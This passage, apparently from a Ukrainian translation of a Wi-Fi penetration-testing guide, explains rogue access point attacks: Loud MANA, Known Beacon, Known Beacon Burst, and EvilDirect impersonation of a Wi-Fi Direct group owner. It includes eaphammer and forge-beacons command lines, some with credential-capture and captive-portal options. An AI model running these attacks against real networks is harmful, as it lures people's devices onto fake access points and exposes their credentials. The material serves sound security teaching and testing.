Гучна атака MANA — це розширена стратегія, коли пристрої не використовують спрямоване зондування або коли їхні списки бажаних мереж (PNL) невідомі зловмиснику. Він працює за принципом, що пристрої в тій самій зоні, ймовірно, мають спільні імена мереж у своїх PNL . Замість того, щоб реагувати вибірково, ця атака транслює відповіді на тестування для кожного імені мережі (ESSID), знайденого в об’єднаних PNL усіх спостережуваних пристроїв. Цей широкий підхід збільшує ймовірність того, що пристрій розпізнає знайому мережу та спробує підключитися до шахрайської точки доступу (AP).
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Коли атаки Loud MANA може бути недостатньо, атака Known Beacon представляє інший підхід. Цей метод підбирає процес підключення шляхом імітації точки доступу, яка реагує на будь-яке ім’я мережі, перебираючи список потенційних ESSID, отриманих зі списку слів. Це імітує наявність численних мереж, сподіваючись знайти відповідність ESSID у PNL жертви, спонукаючи спробу з’єднання зі сфабрикованою точкою доступу. Атаку можна посилити, поєднавши її з --loud
можливістю більш агресивної спроби захоплення пристроїв.
Eaphammer реалізував цю атаку як атаку MANA, де заряджаються всі ESSID у списку (ви також можете поєднати це, --loud
щоб створити атаку Loud MANA + Known beacons):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Відома атака Beacon Burst
Атака Known Beacon Burst передбачає швидку трансляцію кадрів маяків для кожного ESSID, зазначеного у файлі . Це створює щільне середовище підроблених мереж, що значно підвищує ймовірність підключення пристроїв до шахрайської точки доступу, особливо в поєднанні з атакою MANA. Ця техніка використовує швидкість і гучність, щоб перевантажити механізми вибору мережі пристроїв.
# transmit a burst of 5 forged beacon packets for each entry in list ./forge-beacons -i wlan1 \ --bssid de:ad:be:ef:13:37 \ --known-essids-file known-s.txt \ --dst-addr 11:22:33:11:22:33 \ --burst-count 5
Wi-Fi Direct — це протокол, який дозволяє пристроям безпосередньо з’єднуватися один з одним за допомогою Wi-Fi без використання традиційної бездротової точки доступу. Ця можливість інтегрована в різні пристрої Інтернету речей (IoT), такі як принтери та телевізори, що полегшує прямий зв’язок між пристроями. Примітною особливістю Wi-Fi Direct є те, що один пристрій бере на себе роль точки доступу, відомої як власник групи, для керування з’єднанням.
Безпека підключень Wi-Fi Direct встановлюється за допомогою Wi-Fi Protected Setup (WPS) , яка підтримує кілька методів безпечного сполучення, зокрема:
Кнопкова конфігурація (PBC)
введення PIN-коду
Комунікація ближнього поля (NFC)
Ці методи, зокрема введення PIN-коду, чутливі до тих самих уразливостей, що й WPS у традиційних мережах Wi-Fi, що робить їх цілями для подібних векторів атак.
Викрадення EvilDirect — це атака, характерна для Wi-Fi Direct. Він відображає концепцію атаки Evil Twin, але націлений на підключення Wi-Fi Direct. У цьому сценарії зловмисник видає себе за законного власника групи з метою обману змусити пристрої підключитися до зловмисної сутності. Цей метод можна виконати за допомогою таких інструментів, як airbase-ng
вказавши канал, ESSID і MAC-адресу імітованого пристрою.